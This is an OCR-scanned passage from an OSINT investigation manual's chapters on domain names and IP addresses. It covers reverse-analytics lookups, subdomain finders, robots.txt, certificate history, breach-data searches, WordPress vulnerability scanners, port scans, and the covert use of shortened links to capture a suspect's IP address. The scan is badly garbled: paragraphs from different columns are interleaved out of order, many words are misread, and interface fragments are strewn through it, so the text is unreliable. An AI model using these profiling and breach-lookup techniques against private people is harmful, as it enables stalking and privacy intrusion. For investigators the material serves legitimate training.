switching IPs. This sendee sticks out from the pack a bit because it offers isolated search options. With the previous tools, you search a domain name and hope that the sendee can extract any analytics IDs and provide details about any online presence. DomainlQ is unique in that it provides designated pages for submission of any IDs located. As an example, I submitted the Google Analytics ID of UA-1946201-13 to the address above. This number was identified as associated with our target website while using Analyze ID. In this example, DomainlQ immediately identified the owner as notla.com. Unfortunately, all other details were redacted within the results page. Fortunately, we could see them in the exported CSV file. Directly above the redacted results is an icon labeled as CSV. Downloading that file revealed an IP address (74.208.175.23), name (Brad Carter) and email address ([email protected]). Next, let's search for a Google AdSense ID. Analyze ID also identified a Clickbank affiliate ID that was associated with five additional domains, one of which was unique to any other results. Spy On Web and Analyze ID have provided us several new pieces of information about our target. If you ever see an ID that starts with "UA-", this is likely an identifier for Google to monitor viewers of the website. Searching that number within these tools will also identify related websites. We should visit each website and analyze the content for any relevant evidence. After, we should consider other resources. While Spy On Web is a strong overall analysis tool, there are additional options that should be checked for reverse analytics. Analyze ID performs the same type of query and attempts to locate any other domains that share the same analytics or advertisement user numbers as your target This will provide new websites related to your target. During a search of phonelosers.org, it identified the Google AdSense ID previously mentioned. It also revealed an Amazon Affiliate ID of phonelosersof-20 and an Amazon product ID of 1452876169. These are likely present because the target sells books through his websites and receives compensation from Amazon through customer purchases. These new pieces of information can be very valuable. Clicking the Amazon Affiliate ID presents the five domains that possess that same code. The Amazon product ID displays the seven websites that also advertise a specific product. When you encounter this type of data, consider the following Google search. It identifies the actual product that the target is selling within embedded ads. This search reveals that the product is the target's self-published book titled Phone Losers of America. Domain Names 375 We could search these IDs through this or other sites to track additional associated domains. DNSLytics (dnslytics.com/reverse-analytics) SSL Certificates OSINT.sh (osint.sh) This multiple-use sendee offers a lot to digest. I find the following direct URLs most beneficial. Website Source Code Nerdy Data (search.nerdydata.com) target's Google AdSense 376 Chapter 23 yourcomputemerds.com computercrimeinfo.com inteltechniques.com privacy-training.com https://dnslytics.com/reverse-analytics/inteltechniques.com https://dnslytics.com/reverse-adsense/inteltechniques.com If you have located a Google Analytics ID, AdSense ID, or Amazon ID of a website using the previous methods, you should consider searching this number through Nerdy Data. A search of our t““—3’" AJC— https://osint.sh/subdomain: Display all subdomains of a target domain https://osintsh/stack: Display all technologies in use by a target domain https://osintsh/email: Display all email addresses publicly associated with a target domain https:/1osintsh/ssl: Display all SSL certificates associated with a target domain https://osint.sh/whoishistor}’: Display historic registrations associated with a target domain https://osintsh/analytics: Display all domains associated with a Google Analytics ID https://osint.sh/adsense: Display all domains associated with a Google AdSense ID https://osint.sh/domain: Display all domains associated with keywords https://osintsh/reversewhois: Display all domains publicly associated with an email address https://osintsh/ocr: Extract text found within a document stored at a target domain URL Most target websites will possess an SSL certificate which allows for a secure connection through HTTPS. The history of these certificates can be quite lucrative. Consider my own domain through a free service called CRT.sh (ertsh) through a direct URL of https://crt.sh/?q=inteltechniques.com. Most of the data identifies various certificate updates which do not provide any valuable information. However, through the history you can see that I once purchased a group SSL certificate from GoDaddy. Clicking on any of these entries displays the other domains I secured with this option, including dates of activity, as follows. This identifies other domains to investigate. Nerdy Data is a search engine that indexes the source code of websites. I use this to locate websites which steal the source code of my search tools and present them as their own. In one example, I searched "function doSearch01(Search01)", which is the JavaScript I use within the search tools. Nerdy Data immediately identified a competitor's website which was selling access to my scripts. Every website possesses valuable information "under the hood" within its source code. We should always search within this code and understand the various technologies used to create the site. For this, I rely on the following services. The final analytics option I offer is DNSLytics. Enter the analytics ID found with any of the previous techniques and you may find associations not present within other options. The two direct URL options follow. Built With (builtwith.com) Subdomains PentestTools (https://pentest-tools.com/information-gathering/find-subdomains-of-domain) mail.phonelosers.org SubDomain Finder (subdomainfinder.c99.nl) not available in the previous option, but this sendee should webmail.phonelosers.org ssh.phonelosers.org A quick analysis of a target website may identify the technologies used to build and maintain it. Many pages that are built in an environment such as WordPress or Tumblr often contain obvious evidence of these technologies. If you notice the YouTube logo within an embedded video, you will know that the creator of the site likely has an account within the video service. However, the presence of various services is not always obvious. Built With takes the guesswork out of this important discovery. ftp.phonelosers.org www.phonelosers.org Entering the domain of phonelosers.org into the Built With search immediately identifies the web server operating system (Linux), email provider (DreamHost), web framework (PHP, WordPress), WordPress plugins, website analytics, video services, mailing list provider, blog environment, and website code functions. While much of this is geek speak that may not add value to your investigation, some of it will assist in additional search options through other networks. Another option for this type of search is Stats Crop (statscrop.com). I have never found a result on this page which was be in our arsenal in case of any outages. We now know that this domain possesses a webmail server, SSH connection, FTP server, and mail server. This method has helped me locate "hidden” pages which contain several forum messages from users of the site. This unique tool performs several tasks that will attempt to locate hidden pages on a domain. First it performs a DNS zone transfer which will often fail. It will then use a list of numerous common subdomain names and attempt to identify any that are present. If any are located, it will note the IP address assigned to that subdomain and will scan all 254 IP addresses in that range. In other words, it will attempt to identify new areas of a website that may not be visible from within the home page. The following example may help to clarify. A subdomain is a domain that is a part of another domain. For example, if a domain offered an online store as part of their website example.com/shop.html, they might use a subdomain of shop.example.com. A subdomain finder is a tool which performs an advanced scan over the specified domain and tries to find as many subdomains as possible. This often discloses interesting evidence otherwise not visible within the main page. I rely on several tools. The website at phonelosers.org is a blog that appears to have no further content to be analyzed. Searching for it on Pentest-Tools provides additional intelligence. It identifies the following subdomains present on the web server: number revealed five domains that possess the same data. The search of the Amazon number revealed three domains. If this service presents more results than you can manage, consider using their free file download option to generate a csv spreadsheet. Real World Application: While investigating an "anonymous" website that displayed photo evidence of a reported felony, I discovered that the registration information was intentionally inaccurate. A search of the website on these services identified a Google Analytics ID and an additional website that possessed the same number. That additional website was the personal blog of the suspect An arrest was made the same day. Domain Names 377 DNS Dumpster (dnsdumpster.com) Robots.txt http://www.cnn.com/robots.txt https:/1 web.archive.org/web/*/cnn.com/robots.txt Search Engine Marketing Tools 378 Chapter 23 Disallow: /cnnbeta Disallow: /development Disallow: /partners Practically even,’ professional website has a robots.txt file at the "root" of the website. This file is not visible from any of the web pages at the site. It is present in order to provide instructions to search engines that crawl the website looking for keywords. These instructions identify files and folders within the website that should not be indexed by the search engine. Most engines comply with this request, and do not index the areas listed. Locating this file is relatively easy. The easiest way to view the file is to open it through a web browser. Type the website of interest, and include "robots.txt" after a forward slash (/). The file for CNN can be found at the following address, with partial contents underneath. Most robots.txt files will not identify a secret area of a website that will display passwords, raunchy photos, or incriminating evidence. Instead, they usually provide insight into which areas of the site are considered sensitive by the owner. If you have a target website and have exhausted every' other search method, you should also visit this file. It may direct you toward a new set of queries to find data otherwise ignored by search engines. If this technique produces no results, you can conduct a Google or Bing query' to identify' any files. A search of "site.-cnn.com robots exetxt" on either search engine identifies robots.txt files from the entire website. We can also query' the Wayback Machine to display changes of this file over time at the following URL structure. https://www.cnn.com/cnnbeta https:/1 www.cnn.com/development https://www.cnn.com/partners The file identifies online folders which include a new beta website, temporary development page, and list of their partners. Much of this content would not be found in a search engine because of the "Disallow" setting. These Disallow instructions are telling the search engines to avoid scanning the folders "cnnbeta", "development", and "partners". It is likely that there is sensitive information in these directories that should not be available on Google or Bing. You can now type these directories after the domain name of your target to identify' additional information. Based on the robots.txt file in this demonstration, ty'ping the following addresses directly into a browser may generate interesting results. The ultimate goal of most commercial websites is to generate income. These sites exist to bring in new customers, sell products, and provide the public face to a company. This has created a huge communin’ of sendees that aim to help companies reach customers. Search Engine Optimization (SEO) applies various techniques affecting the visibility' of a website or a web page in a search engine’s results. In general, the higher ranked on the search results page and more frequently' a site appears in the search results list, the more visitors it will receive. This sendee relies on Host Records from the domain registrar to display' potential subdomains. While searching a target domain related to a stalking investigation, it displayed a blog hidden from the main domain. This presented more information than I could easily digest. Similar Web (similan.veb.com) Alexa (alexa.com) Shared Count (sharedcount.com) Domain Names 379 Similar Web is usually the most comprehensive of the free options. However, some of these details usually contradict other services. Much of this data is "guessed" based on many factors. A search ofinteltechniques.com produced the following partial information about the domain. This website provides one simple yet unique sendee. It searches your target domain and identifies its popularity on social networks such as Facebook and Twitter. A search of labnol.org produced the following results. This • The majority of the traffic is from the USA, followed by UK, DE, FR. • There is no paid search or advertisements on search engines. • There are 56 websites that possess links to the target, and 15 are visible. • "Buscador" led more people to the site than any other search term followed by OSINT. • Over 50,000 people visit the site monthly. • There are five main online competitors to the target, and the largest is onstrat.com. • 71% of the visitors navigated directly to the domain without a search engine. • 12% of the traffic was referrals from other websites and search engines. • The referrals included my other website (computercrimeinfo.com). • 3% of the traffic to this site originated from social networks Facebook and Twitter. • Similar websites include onstrat.com and automatingosint.com. This service is considered the standard when citing the global rank of a website. Most of the collected data is targeted toward ranking the overall popularity of a website on the internet. The following details were provided about inteltechniques.com. • It is ranked as the 104,033rd most popular site on the internet • The average visitor clicks on three pages during a visit. • Popular searches used to find the domain include OSINT Links and IntelTechniques. • Facebook, Twitter, and Google referred more traffic than any other source. Both of these services provided some details about the target domain that were not visible within the content of the page. These analytical pieces of data can be valuable to a researcher. Knowing similar websites can lead you to other potential targets. Viewing sources of traffic to a website can identify where people hear about the target. Global popularity’ can explain whether a target is geographically tied to a single area. Identifying the searches conducted before reaching the target domain can provide understanding about how people engage with the website. While none of this proves or disproves anything, die intelligence gathered can help give an overall view of the intent of the target. Additional websites which provide a similar service include Search Metrics (suite.searchmetrics.com), SpyFu (spyfu.com), and Majestic (majesdc.com). Search Engine Marketing (SEM) websites provide details valuable to those responsible for optimizing their own websites. SEM sendees usually provide overall ranking of a website; its keywords that arc often searched; backlinks; and referrals from other websites. SEO specialists use this data to determine potential advertisement relationships and to study their competition. Online investigators can use this to collect important details that are never visible on the target websites. Three individual services will provide easily digestible data on any domain. I will use my own domain for each example in order to compare the data. Only the free versions will be discussed. Reddit Domains (reddit.com) Small SEO Tools: Backlinks (smallseotools.com/backlink-checker) Host.io Backlinks (host.io) https://host.io/backlinks/inteltechniques.com Host.io Redirects (hostio) https://hoscio/redirects/inteltechniques.com A summary of all details about a domain stored with Host.io https://host.io/inteltechniques.com Small SEO Tools: Plagiarism Checker (smallseotools.com/plagiarism-checkcr) 380 Chapter 23 information would lead me to focus on Pinterest and Facebook first. It tells me that several people arc talking about the website on these services. Facebook Likes: 348 Facebook Shares: 538 Facebook Comments: 148 Facebook Total: 1034 Twitter Tweets: 0 Pinterest Pinned: 1 can be found via the following direct URL. Reddit was discussed previously as a ven7 popular online community. The primary purpose of the service is to share links to online websites, photos, videos, and comments of interest. If your target website has ever been posted on Reddit, you can retrieve a listing of the incidents. This is done through a specific address typed directly into your browser. If your target website was phonelosers.org, you would navigate to reddit.com/domain/phonelosers.org. This example produced 16 Reddit posts mentioning this domain. These could be analyzed to document the discussions and usernames related to these posts. After you have determined the popularity of a website on social networks, you may want to identify any websites that have a link to your target domain. This will often identify associates and people with similar interests of the subject of your investigation. There are several online sendees that offer a check of any "backlinks" to a specific website. Lately, I have had the best success with the backlink checker at Small SEO Tools. A search of my own website, intekechniqucs.com, produces 264 websites that have a link to mine. These results include pages within my own websites that have a link to inteltechniques.com, so this number can be somewhat misleading. Several of the results disclosed websites owned by friends and colleagues that would be of interest if I were your target In 2021,1 discovered this service which seems to offer many additional backlinks which were not present within the previous option. The following direct URL displays 45 domains which are linking to my website. If you have identified a web page of interest, you should make sure the content is original. On more than one occasion, I have been contacted by an investigator that had been notified of a violent threat on a person's blog. I was asked to track down the subject before something bad happened. A quick search of the content identified it as lyrics to a song. One of many options for this type of query is the plagiarism checker at Small SEO Tools. You can use this tool by copying any questionable text from a website and paste it into this free tool. It will analyze the text and display other websites that possess the same words. This service uses Google to identify anything of interest. The benefit of using this tool instead of Google directly is that it will structure several This option displays any URLs which are forwarding their traffic to your target site. The following direct URL displays my own results. You can quickly identify three domains which I own that are forwarding visitors to my main site. Searching for historic records of these domains should reveal outdated websites and details. Visual Site Mapper (visualsitemapper.com) XML Sitemaps (xml-sitemaps.com) Threat Data VirusTotal (virustotal.com) dev.client.appletv.cnn.com,dev.cnnmoney.ch,dev.content.cnnmoney.ch,dev.hypatia.api.cnn.io Domain Names 381 queries based on the supplied content and return variations of the found text. Clicking the results will open the Google search page that found the text. Another option for this type of search is Copy Scape (copyscape.com). This represents a new category for this chapter and I am quite embarrassed it took me so long to realize the value of the content. I use the term "Threat Data" to encompass the top four websites which monitor for malicious content. For a network security' analyst, this data might identify potentially malicious sites which should be blacklisted within internal networks. For us OSINT researchers, the data represented here can provide a unique glimpse into our target domain. Instead of explaining every facet of these services, I will only focus on the new evidence received after a query of various domains. All of these services are available in your search tools. 1 now know that cnn.io is directly associated with the target, which should then be investigated. The "Relations" tab identifies many new subdomains such as customad.cnn.com, go.cnn.com, and store.cnn.com. The "Files" section displays unique content from practically any other resource. It identifies files downloaded from the target site for analysis and files which have a reference to the target site. Let's analyze my own site as an example. Figure 23.07 displays two files which are present on my site. Both of these files have been analyzed by VirusTotal from either user submission or automated scanning. The first column displays the date of the scan and the second column identifies whether any virus databases detected the files as malicious (none out of 60 tested positive for a virus). The final two columns identify the file type and name. If I were to remove these files today, this evidence would stick around. This service "crawls" a domain and creates an XML text file of all public pages. Scanning my own site and blog displayed direct URLs of 493 unique pages. Exporting the XML file provided documentation of the process. This is a great companion to visual site mappers, as the text can be easily imported into reporting systems. This often presents previously unknown content. This option displays the most useful information in regard to OSINT, and this is likely the most popular threat data sendee of the four. Much of the details presented here are redundant to the previous options, so let's focus only on the unique data. The "Details" menu provides the most public data. The Whois and DNS records should be similar to other sites. The "Categories" area provides the general topics of the target site. For mine, it displays "Information Technology'". This can be useful to know a small detail about sites which have disappeared. The "HTTPS Certificate" section can become interesting very' quickly. The "Subject Alternative Name" portion of this section identifies additional domains and subdomains associated with the SSL certificate of your target site. When I search cnn.com, I receive dozens of additional URLs which could prove to be valuable. Below is a partial view. When researching a domain, 1 am always looking for a visual representation to give me an idea of how massive the website is. Conducting a "site" search on Google helps, but you are at the mercy of Google's indexing, which is not always accurate or recent. This service analyzes the domain in real time, looking for linked pages within that domain. It provides an interactive graph that shows whether a domain has a lot of internal links that you may have missed. Highlighting any' page will display the internal pages that connect to the selected page. This helps identify pages that are most "linked" within a domain, and may lead a researcher toward those important pages. This visual representation helps me digest the magnitude of a target website. Figure 23.07: A VirusTotal result identifying files from a domain. 2019-05-09 1 /60 Open Source Intelligence Techniques Figure 23.08: A VirusTotal result identifying files referring to a domain. Threat Intelligence (threatintelligenceplatform.com) Threat Crowd (threatcrowd.org) 382 Chapter 23 2018*11*14 2018*11*25 0/59 0/60 tfmpeg.zip workbook.pdf 2019-02-11 2019-01-15 2019-01-06 1 160 2/58 1 /60 ZIP PDF Name OSCAR.exe Doxing eBooks.zip HawkEyo.exe Hacklog2_zip HacMog. Web Hacking - vol. 2.pdf Doxing eBooks.zip Type Win32 EXE ZIP Win32 EXE Office Open XML Docum ent ZIP PDF ZIP Scanned 2019-08-29 2019-08-04 2019-05-14 Detections 1 /48 1 /60 3/73 Finally, the Community" tab can be a treasure of details if anything exists about your target domain. This is where members of the VirusTotal community can leave comments or experiences in reference to the target site. While there arc no comments currendy on my profile, I have seen helpful details on target "hacking" related sites. These included owner details and new domains created for illegal phishing purposes. Most sites will not have any comments, but this option should be checked while browsing through the other sections. This service replicates many of the features already presented. However, I usually look to three specific sections in the domain report. The "Connected Domains" area identifies any external domains which are linked from your source. This can often display hidden links to third-party7 sendees otherwise unknown from previous queries. On my domain, you see a link to the icon service I use because I gave attribution within the footer of my page. In previous investigations, I have found additional domains owned by the suspect. From there, I focus on the "Potentially dangerous content" and "Malware detection" sections. Both of these offer a historical view into any malicious content hosted on the target domain. This can include suspicious files or phishing campaigns. While recently investigating a domain which currently possessed no content, this service confirmed the presence of a phishing page designed to steal credentials. Figure 23.08 displays the result in the "Files Referring" section. These are files and programs, which are not present on my site, that refer to my domain. All of these display positive results for being malicious. These are basically files stored on other websites which mention my domain. If you were investigating me, you should tty to find these files for further analysis. The fourth file is a virus disguised as a digital copy of this book, attempting to fool would-be downloaders. If your target is mentioned within off-site files, you can learn a lot from analysis. Always use a virtual machine without network access if you plan to download or open anything found here. This service provides a unique view of the domains associated with your target. Figure 23.09 displays a partial result for my own domain. It displays my server IP, primary7 domain, and additional domains which were once associated with my account. The upper-right domain was a small website created for a friend which was hosted as demonstration for a short amount of time. ■ f' Figure 23.09: A Threat Crowd domain report. Censys (censys.io) WordPress Data Data Breaches and Leaks Domain Names 383 https://gf.dev/wordpress-security-scanner https://hackertarget.com/wordpress-security-scan/ YOURCOMPUTERNERDS.COM COMPUTERCRIMEINFO.COM Similar to email addresses and usernames, domains familiar with breach data providers, so I will focus only can possess valuable breach data. You should already be on methodology here. © j HUMPHREYINTERNAWNALEXPORTS.COM Many websites displayed at domains are WordPress blogs. These can be customized in any way to have the appearance of a traditional website. You may want to identify any vulnerabilities which exist within the WordPress installation which may disclose interesting details about the site. The following three providers display the basics without the need to install any software. Please note the terms of service when you use these options. A search of my own domain revealed the version of WordPress; blog IP address; hosting provider; tide of the blog; any blacklist entries; installed plugins; custom themes; login usernames; linked websites; and overall security of the site. Finally, I believe Censys has the overall best dam about the security certificates associated with a domain. It provides hyperlinks to every’ certificate within the chain and extreme details about each. Much of this data is not valuable to an OS1NT report, but I prefer to collect a screen capture for potential later analysis or comparison to live data. Overall, threat data is often considered minor bits of information designated only’ for the digital security community. OSINT practitioners should also be aware of the content available within these sites. While the majority of details are not immediately useful, small nuggets of valuable information which cannot be found anywhere else awaits you. BLOG.COMPUTERCRIMEINF0.COM WWW.COMPU^RCRIMEINFO.COM •@ I lf4TELTECHNIQUES.COM ~te^.168J44.19x Censys provides a detailed summary’ of the basics, which is quite redundant at this point. However, there arc three key’ pieces of information I access here on most domains. I previously’ mentioned the importance of checking the Subject .Alternative Names of a domain's SSL certificate. Most services conduct scans of the entire internet in order to retrieve this data. The moment a certificate is issued, it is provided in real-time to Censys. Censys thus docs not need to rely’ on internet scans to discover certificates, and more importantly' Subject Alternative Names. Therefore, I always click the "Details" button on the summary page and look for any’ interesting data by’ searching "alt_name" within the results. Next, I have relied on the HTTP Body text information stored within the "Details" page of the HTTP and HTTPS sections. This is basically the HTML code which makes the web page display properly within a browser. It is the same data you would see by viewing die source code of a target page. If the target website should disappear, this entire section of code could be copied; pasted into a text file; saved with an html extension; and opened within a browser to reveal the overall look and structure. I prefer to capture this data in the event of a modified or removed target web page. Dehashed (dchashed.com) IntelX (inteLx.io) Leakpeek (leakpeek.com) This service requires a free account to search domains, and a direct URL is not available. LeakedSource (leakedsource.ru) We Leak Info (wcleakinfo.to) Phonebook (phonebook.cz) Shortened URLs 384 Chapter 23 bitly.com/29A4U 1U http://dny.cc/v973ez This option searches a domain for any email addresses which exist within publicly available breaches. A search of my own domain found four active addresses. Social networking sites, such as Twitter, have made the popularity of shortened URL services soar. When people post a link to something they want their friends to see, they do not want the link to take up unnecessary space. These sendees create a new URL, and simply point anyone to the original source when clicked. As an example, I converted a URL to a blog post from "https://inteltechniques.com/blog/2019/08/03/book-release-extreme- privacy/" to "https://bitly/32Up8h7". You have likely seen these during your own investigations, and many people pay them little attention. There is actually a lot of information behind the scenes of these links that can reveal valuable information associated with your investigation. For a demonstration, I created the following shortened links, all of which forward to my home page. After, I will explain how to access the hidden data behind each service. goo.gl/Ew9rlh bit.do/cbvNx This sendee and search options function identical to the email queries. Provide the domain, and the results display the breaches which possess at least one email address matching the provided data. The URL query structure is https://dehashed.com/search?query="inteltechniques.com". This domain option is currently in beta and will likely display results already found with the previous options. This engine requires you to be logged in to a free account, which may not justify the results. Bitly allows access to metadata by including a "+" after the URL. In our scenario, the direct URL would be bitly.com/29A4U 1U+. In this example, the results only identified that 21 people have clicked on my link. However, creating a free account reveals much more detail. After logging in, 1 can see any websites that referred the user to the link and extremely generic location data, such as the country' of the user. This is a good start The domain search sendee behaves identical to their email query' option. They do not provide a direct URL query. A manual search should display email addresses associated with the target domain which appear within a data breach. This sendee presents partial Pastebin files which include your target domain. A direct query' URL is https://intelx.io/?s=inteltechniques.com. A free trial is required to see all results. Cloudflare Advanced DNS Domain Names 385 Google gives us the same detail as above. It also uses goo.gl/Ew9rlh+. This demo notified me that 18 people h; are mosdy Windows users with the Chrome browser. Third-Party Tracking: Some websites will hide their domain registration and host behind various protection services, but continue to use analytics, tracking, and Google services. Consider the previous methods of searching Analytics, and any other unique identifiers across other sites owned by the same target. Historical: Use the previous methods to search historical domain registration records. While Whois sites may show Cloudflare today, historical registration records may show the actual web host used prior to Cloudflare. The result may or may not be the current hose Crimeflare (crimeflare.org:82): This site aims to uncover criminal website owners hiding behind Cloudflare's free protection service. It is very hit or miss. You can enter any domain direcdy at crimeflare.org:82/cfs.html and potentially receive results identifying the IP address behind the target page. That IP can then be searched using the methods discussed in the next chapter. Bit.do provides the most extensive data. They use a after the URL, and our direct demo address would be bit.do/cbvNx-. The results identify all of the details listed previously, plus the actual IP addresses of each visit. This type of service can be used in many ways. If you are investigating a viral Twitter post with a shortened URL, you may be able to learn more about the popularity' and viewers. You could also use this offensively. During covert investigations, you could forward a shortened URL from Bit.do and possibly obtain the IP address being used by the suspect. If you are investigating a shortened URL link that was not mentioned, consider using the catch-all service at CheckShortURL (checkshorturl.com). Tiny.cc adds a to the end of a link to display metadata. In our example, the direct URL would be tiny.ee/v973ez~. The results on this page identify the number of times the URL was clicked, the number of unique visits, the operating systems of those that clicked the link, and the browsers used. This service also displays generic location data, such as the country' of the user. the ”+” at the end, and our direct demo URL would be jave clicked my' link from 7 different countries. They’ While identifying web hosts and IP addresses behind your target domain, you are likely to encounter sites hiding behind Cloudflare. This company provides security' for websites which often prevents online attacks and outages. They' also help keep web host and owner details hidden when investigating criminal websites. There is no magic solution to uncover the owner of a website behind Cloud flare's protection, but we do have a few investigative options, as follows. I mentioned Domains App (dmns.app) previously as a way to query’ stored historical screen captures. We can also use this resource to see much more DNS details than the sendees explained at the beginning of this chapter. Censys (censys.io): Most websites possess Secure Socket Layer (SSL) certificates. Searching a domain name through the Censys "Certificates" search may identify historical SSL ownership records. The direct URL of "https://censys.io/certificates?q=inteltechniques.com" displays my own domain. The results identify my’ SSL host authority’ as Sectigo in 2020, Comodo (Namecheap) in 2018, and GoDaddy in 2016. You now know my domain host history’. This area of Censys can be beneficial to any' domain regardless of Cloudflare protection, which is a feature often overlooked. We can also query' a specific SSL certificate to potentially see other associated domains. The previous search identified "7583b0cb25632de96575dd0f00ff99fed81b9069" as the SSL certificate which I possessed in 2016. Searching this within Censys under the "Certificate" menu provides the domains of computercrimeinfo.com, inteltechniques.com, privacy-training.com. We now have other domains to investigate. Some of them may reveal the current domain registration provider and web host. https://dmns.app/domains/michaelbazzell.com/dns-records IntelTechniques Domain Tool Populate AD ir Whois [□amain Mme [Pyran Mme i Dernau. Wne T ~r | Domain Mme ■ I Figure 23.10: The IntelTechniques Domain Tool. 386 Chapter 23 This can often include an email address within the DMARC data which is not visible elsewhere. Consider an example for michaelbazzell.com. We can query with the following direct URL. "protonmail-verification—f84a8f78b21c92a4493fe5d9d5cbll50385846e9" "v—spfl include:_spf.protonmail.ch mx ~ail" "v=DMARCl; p=none; rua=mailto:[email protected]" [poirain Mme Reverse IP Reverse Domain IPon'jn Name l&erranMme loomaln Name Domain Name Dorran Name Cerra-n Name Google Site Coog'c Cache Screenshot 1 Screenshot 2 Screenshot 3 Whory Whois ology DomainData IP History DNS Report TraceRoute i Entire BCJyURL ; Entire Cscgl URL Entire T nycc URL I Entire Bit-Jo URL Ent-re SJiort UR- ~ Blt.iy Coo.gl Archive.org ] Archive, md | Mementoweb J Congress j Arquivo | _ I [Domain Name I Domain Name i Domain Name i Domain Name I Domain Name | Domain Name I Domain Name j Dorna r- Name Domain Name j Doman Name ! Domain Name I Domain Name I Comxn Mme ; Domain Kame I Domain Kame | Domain Name I Domain l.'ame I Domain Kame : Dornam Mme Poma,- Kame I Doma-n Name I Domain Name [Domain Name [ Domain Kxme Y DonuinOata I I Whois Archive 1 } Whois Archive 2 ] [ Whois Archive 3 ] , Whois Archive 4 • "LWhotsArcfrvejJ ~^j Dehashed ) __ | [ IntelUgonceX ; ~ . ~ SpyOnWeb I; ArulyzcID_____ ~j1 Ooogic Analytics | Google Adsense j 11 DomainlQ ~ [ NerdyData | ~ I BmltWith j SubDomains j ; Robots tst ’ ;; Host.io______ ' ~1 Host.io Backlinks I ~[i Hostto Redirects ~| VirusTotal ) Threatintel I j I SccuntyTrails J ____[j Threatcrowd , _ | BtocJdight i The results identify the usual DNS suspects, including my web host and server IP address. However, there is new data in the last sections. Similar to the previous custom search tools mentioned here, I have created a page for easier domain searching. While it does not possess even’ service discussed in this chapter, it can automate queries across the most beneficial options. Each box allows entry of a target domain name. The "Submit All" option will open several tabs within your browser that present each query listed on the page. The final section provides easy access to shortened URL metadata. Figure 23.10 displays a partial view of the tool. WboJs DNS i ________ Who.Is History j __ 11 DomainAppDNS [Domam Name | Domain Name (Doman Mme Dpmj.n Name D'man Kame Dptran Kama 3 We now know that all email for that domain is handled within a Protonmail account. We also see a new email address in the final DMARC section. For many domains which apply this extra level of email securin' and verification, you will find a legitimate email address which may have escaped your other analysis. As I write this, I learned of a personal email address included within results for a domain which is part of a current investigation. I have included this option within the search tool explained next. Screenshot 4 ! Screenshot 5 ( Scrc-ensbot6 | [pcrrqri Kame [Coma-n Mme Dom-iu-i Kame j Domain Name SimilarWeb Alc»a SpyFu SHarcdCount Redd-lDomam Backlinks ____ CopyScapc [[___SrteMipper i | Dam a:n Name j Damv-n Name ' Dem am Name , Doman Name | Dam art Mme jpan-^aNanT c h a pt e r Tw e n t y -Fo u r ipa d d r e s s e s ViewDNS Reverse IP (viewdns.info/reverseip) ViewDNS IP Location (viewdns.info/iplocation) ViewDNS Port Scan (viewdns.info/portscan) ViewDNS IP Whois (viewdns.info/whois) IP Addresses 387 This online port scanner looks for common ports that may be open. An open port indicates that a sendee is running on the web server that may allow public connection. A search of 54.208.51.71 revealed that ports 21, 53, 80, and 443 are open to outside connections. Port 21 is for FTP connections, 53 is for DNS settings, 80 is for web pages, and port 443 is for secure web pages. IP addresses are often obtained from an internet investigation, email message, or connection over the internet. When legal process is served to online content providers, a list of IP addresses used to log in to the account is usually presented as part of the return of information. Serving legal orders to identify and obtain IP addresses is outside the scope of this book. However, several techniques for collecting a target's IP address using OSINT are explained in this chapter. The previous instruction assumed that you were researching a domain name. These names, associated with websites, simply forward you to a numerical address that actually hosts the content. This is referred to as an Internet Protocol (IP) address. Ashburn 20147 City: Zip Code: Region Name: Virginia Country Code: US Country’ Name: United States The way that you encounter IP addresses as a target of your research will vary widely. Law enforcement may receive an IP address of an offender after submitting a subpoena to an internet provider. Any online researcher may locate an IP address while researching a domain with the previous methods. While only one website can be on a domain, multiple domains can be hosted on one IP address. The following resources represent only a fraction of available utilities. Note that many of the domain name resources mentioned in the previous chapters also allow for query’ by an IP address. Let's begin with the basic resources at ViewDNS. This service was used earlier to display registration information about an individual domain. Entering an IP address will attempt to identify’ details about any domain registrations associated with the address. z\ search of 54.208.51.71 revealed it to belong to Amazon and provided the public registration details. This page was previously used to translate a domain name into an IP address. It will also display additional domains hosted on an individual IP address. This service identified 134 domains hosted on 104.28.10.123. These included domains from websites all over the world without a common theme. This indicates that he uses a shared server, which is very common. If I would have seen only a few domains on the server, that may indicate that he is also associated with those specific domains. This utility’ cross-references an IP address with publicly’ available location data connected to the server hosting any domains associated with the IP address. A search of 54.208.51.71 revealed the following information. ViewDNS IP Traceroute (viewdns.info/traceroute) ViewDNS Reverse DNS (viewdns.info/reversedns) Similar to the Domain chapter, ViewDNS allows query of IP addresses via URL, as follows. For redundancy, I also recommend the following UltraTools direct IP address query URLs. Bing IP (bing.com) https://www.bing.com/search?q=ip%3A54.208.51.71 IPLocation (iplocation.net) 388 Chapter 24 This simply finds the reverse DNS entry for a given IP, which is usually the host name. https://viewdns.info/reverseip/?host=70.39.110.82&t=l https://viewdns.info/iplocation/?ip=70.39.110.82 https://viewdns.info/portscan/?host=70.39.110.82 https://viewdns.info/whois/?domain=70.39.110.82 https://viewdns.info/traceroute/?domain=70.39.110.82 https://viewdns.info/reversedns/?ip=70.39.110.82 This tool identifies the path that ViewDNS took from their servers to the target IP address. This can identify IP addresses of servers that were contacted while you tried to establish communication with the address. These will occasionally identify' associated networks, routers, and servers. Additional IP addresses can be searched for further details. The numbers after the IP addresses indicate the number of milliseconds that each "hop" took. https://www.ultnitools.com/tools/ipWhoisLookupRcsultPip Address=70.39.110.82 https://www.ultratools.com/tools/geoIpResult?ipAddress=70.39.110.82 https://www.ultratools.com/tools/pingResult?hostName=70.39.110.82 https://www.iplocation.net/ip-lookuppquery=70.39.110.83&submit=IP+Lookup Once you have identified an IP address of your target, you can search for websites hosted on that IP address. A specific search on Bing will present any other websites on that server. If your target is stored with a large host, such as GoDaddy, there will not be much intelligence provided. It will only list websites that share a server, but are not necessarily associated with each other. If the user is hosting the website on an individual web server, this search will display all other websites that the user hosts. This search only works on Bing and must have "ip:" before the IP address. An example of a proper search on Bing would look like ip:54.208.51.71. The results of this search identify' ever}' website hosted by a specific local website design company. The direct URL follows. IPLocation offers unlimited free IP address searches, and queries five unique services within the same search results. The results are the most comprehensive I have seen for a free website. While GPS coordinates of an IP address are available, this most often returns to the provider of the internet service. This usually does not identify die exact location of where the IP address is being used. The country, region, and city information should be accurate. If an organization name is presented in the results, this indicates that the address returns to the identified company. The exception here is when an internet service provider is identified. This only indicates that the IP address belongs to the specified provider. Most results translate an IP address into information including business name, general location, and internet service provider. This can be used to determine if the IP address that a target is using belongs to a business providing free wireless internet. If you see "Starbucks", "Barnes & Noble", or other popular internet cafes listed in the results, this can be important intelligence about the target. This can also confirm if an IP address is associated with a VPN service. The direct URL query follows. That's Them (thatsthem.com/reverse-ip-lookup) rely https://thatsthem.com/ip/70.39.110.82 I Know What You Download (iknowwhatyoudownload.com) 